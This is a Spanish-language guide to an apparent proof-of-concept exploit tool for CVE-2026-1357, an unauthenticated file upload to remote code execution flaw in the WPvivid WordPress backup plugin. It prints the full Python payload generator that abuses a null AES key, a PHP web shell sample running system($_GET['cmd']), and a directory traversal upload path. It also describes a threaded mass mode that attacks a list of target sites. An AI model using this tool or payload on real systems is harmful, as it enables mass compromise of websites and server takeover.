
Migration, Backup, Staging <= 0.9.123 - Carga Arbitraria de Archivos sin Autenticación
CVE-2026-1357.py)Migración, copia de seguridad, puesta en escena – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilidad: Carga arbitraria de archivos sin autenticación → Ejecución remota de código
CVE: CVE-2026-1357 – CVSS 9.8 (Crítico)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py es una herramienta de explotación de prueba de concepto para la vulnerabilidad de WPvivid. Se centra en el defectuoso manejo de la sesión AES que permite a un atacante:
name) elegido en el payload.wpvivid_action=send_to_site.El script no intenta adivinar ni abusar de las claves privadas directamente. En su lugar, simula el flujo roto de WPvivid donde una llamada fallida a openssl_private_decrypt() lleva a que el cifrado AES de phpseclib se inicialice con una clave nula.
El núcleo del exploit está en gen_wpvivid_payload():
Construye una estructura JSON:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
Serializa este JSON (forma compacta, sin espacios).
Cifra el JSON usando:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16Luego antepone:
"000" (un marcador de campo de longitud estático)."{len(cipher):016X}".El blob cifrado final es:
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
Este blob se codifica en base64 y se devuelve como el valor final de wpvivid_content.
Función:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Esto coincide con las expectativas de descifrado de WPvivid en la ruta de código vulnerable después del fallo del descifrado RSA.
El script tiene dos modos principales más una capacidad de prueba masiva:
mood1 – Generador de payloads
wpvivid_content válido usando el truco de la clave nula.mood2 – Probador de objetivo único
Modo masivo (desde mood1)
python3 CVE-2026-1357.py
Verás una interfaz basada en Rich con un banner y selección de modo:
mood1 – Generador de payloadsmood2 – Probador de objetivo únicowpvivid_content) que codifica:
Selección de modo
Cuando se te solicite:
Choose mode (mood1/mood2) [mood1]:
Pulsa Enter (por defecto es mood1) o escribe mood1.
Nombre de archivo / ruta de destino
Se te preguntará:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Ejemplos:
Para colocar un archivo en el directorio de copias de seguridad de WPvivid:
Nx_.php
Para abusar del directory traversal (si el objetivo lo permite):
../../public_html/Nx_.php
El valor va al campo name del payload JSON.
Modo de entrada del contenido
El script muestra tres formas de definir el contenido del archivo:
EOF).shell.php).Se te solicita:
Mode [1/2/3] [1]:
Modo 1 – Una sola línea
Single line content:
Ejemplo de entrada:
<?php phpinfo();
Modo 2 – Múltiples líneas
Enter file content, line by line. Type 'EOF' on its own line when done.
Puedes pegar o escribir un script PHP de varias líneas y terminar con EOF en su propia línea:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Modo 3 – Archivo local
Local file path (e.g., shell.php):
El script lee el archivo completo en file_bytes.
Generación del payload
Una vez capturado el contenido, el script:
Verás una salida como:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
Y se escribe un archivo wpvivid_payload.txt:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
Después de generar el payload, el script pregunta:
Auto-send this payload to targets list (mass mode)? (y/N):
Si respondes y, se inicia el modo masivo con el payload y el nombre de archivo que acabas de crear.
Archivo de objetivos
Ejemplo de solicitud:
Targets list file (one URL per line):
Formato esperado del archivo (p. ej. targets.txt):
https://site1.com
site2.com
http://site3.net
El script normalizará automáticamente las URL base (añadiendo el esquema cuando falte).
Número de hilos
Threads (concurrent sites) [5]:
Controla cuántos sitios se procesan en paralelo.
Lógica por objetivo
Para cada objetivo:
Normaliza la URL → base_url.
Llama:
send_wpvivid_payload(base_url, payload)
que: